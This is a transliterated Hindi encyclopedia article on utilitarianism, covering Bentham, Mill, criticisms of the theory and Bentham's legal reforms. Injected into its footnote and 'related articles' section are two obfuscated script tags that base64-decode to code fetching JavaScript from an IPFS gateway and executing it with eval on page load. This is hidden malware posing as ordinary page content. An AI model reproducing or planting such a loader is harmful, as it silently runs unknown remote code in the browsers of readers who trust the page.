उपयोगितावाद
upayogitavad ek achar siddhaant, jisaki ekaantik manyata hai ki acharan ekamatr tabhi naitik hai jab vah adhikatam vyaktiyoan ke adhikatam sukh ki abhivriddhi karata hai. rajanitik tatha any kshetroan mean isaka sanbandh mukhyat: beantham (1748-1832) tatha jan stuart mil (1806-73) se raha hai. parantu isaka itihas aur prachin hai, hyoom jaise darshanikoan ke vicharoan se prabhavit, jo udarata ko hi sabase mahanh gun manate the tatha vyaktivishesh ke vyavahar se doosaroan ke sukh mean vriddhi hi udarata ka mapadand samajhate the.
upayogitavad ke sanbandh mean pray: kuchh aspasht ochhi dharanaean haian. isake alochakoan ka kahana hai ki yah siddhaant, suandarata, shalinata evan vishishtata ki upeksha kar keval upayogita ko mahatv deta hai. poorvapaksh ka isapar yah arop hai ki yah keval laukik svarth ko mahatv deta hai. kiantu aisi alochana sarvatha samuchit nahian kahi ja sakati.
upayogitavad anek sapeksh vicharoan ko mahatv deta hai. jaise, anand hi sabase vaanchhaniy vastu hai, aur yah jitana adhik ho utana hi shreyaskar hai. isaka ek bhramak nishkarsh yah hai ki du:kh hi sabase avaanchhaniy vastu hai aur yah jitana kam bhogana p de utana hi achchha hai. isase yah nirdisht hai ki naitik abhikarta ka kisi bhi paristhiti mean aisa hi acharan sadachar mana jaega jo svechchhaya kiya gaya ho, jo sanbandhit logoan ke lie mahattam sukh ki srishti karata ho athava kar sakane ki
sanbhavana rakhata ho aur jahaan par du:kh avashyanbhavi hai vahaan use yathasanbhav kam-se-kam karane ka prayatn karata ho.
aise vicharoan mean nihit bhavoan ki vivechana ekapakshiy nahian ho sakati, phir bhi anand bhi tuchchh tatha du:kh bhi mahanh ho sakata hai aur koee yah siddh nahian kar sakata ki anand nity shrey tatha du:kh nity hey hai. yah bhi spasht hai ki 'sukh' ki thik-thik paribhasha karana, yadi asanbhav nahian to, kathin avashy hai. jarman darshanik nitshe ne ek bar prasiddh ghoshana ki ki 'sukh kaun chahata hai? keval aangrej.' adhikaansh bharatiy vicharoan mean jor nirashakti par hi diya gaya hai, jisase anand ki map kshanasthayi evan sukh kuchh ni:sar pratit hota hai. vastav mean upayotigatavad ka poornat: tarkasammat evan sthayi anuyayi hona kuchh saral nahian, phir bhi siddhaant tatha vyavahar mean samanjasy sthapit karane ke prayatn ke karan aur jivatatv ke lie svasth tatha naitik achchhaee ka marg nirdisht karanevale anand ko manushy ke svabhavik margadarshan ke roop mean pratishthit karane ke karan upayogitavad kuchh akarshan rakhata hai aur etadarth samany bhi hai.
beantham ne likha hai, 'prakriti ne manushy ko do prabhuoan sukh evan du:kh, ke shasan mean rakha hai. keval inhian ko yoo soochit karane ki shakti prapt hai ki hamean kya karana chahie tatha ham kya kareange. inake sianhasan ke ek or uchitanuchit nirdharan ka man bandha hai, doosari or kary karan ka chakr.' koee bhi is kathan mean truti nikal sakata hai. vastut: upayogitavadiyoan ki sabase b di truti unaki darshanik pak d ki kamajori mean hi rahi hai. parantu unake dvara vastavik sudharoan ko jo mahatv diya gaya, tatkalin paristhitiyoan mean vah samajik chiantan ke kshetr mean nissandeh naya kadam tha. dooradarshi tatha kushal vyavasthapakoan dvara hi samajakalyan sanpann ho sakata hai, aisi kalpana ki gee. beantham ke shabdoan mean, vyavasthapak hi buddhi tatha vidhi (kanoon) dvara sukh roopi pat bun sakata hai.
beantham ne n keval ianglaiand varanh yoorop ke any deshoan ke vicharoan ko bhi atyant prabhavit kiya. jeloan mean sudhar mean, nyayavyavahar ko saral karane mean, amanushik parinamahin dand vyavastha hatane mean, beantham se b di sahayata prapt huee. jab use nishchay ho gaya ki sansadiy sudhar ke bina vaidhanik sudhar asanbhav hai tab vah us or akarshit hua. upayogitavad ke arthik uddeshyoan ka niroopan, jo mukhyat: nirbandh vyapar par vaidhanik niyantranoan ki samapti se sanbandhit hai, rikardoan ke sahity mean atyant suandar dhang se hua hai. siddhaant niroopan ki apeksha, jo upayogitavadiyoan ka vishesh isht kabhi n raha, ajakal rajanitik karyakramoan ko adhik mahatv diya jane laga hai. kiantu is darshan ki sthayi den naitikata tatha samajik aangoan ke kary mean pratyaksh sanbandh ka siddhaant hai.[1]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 120 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>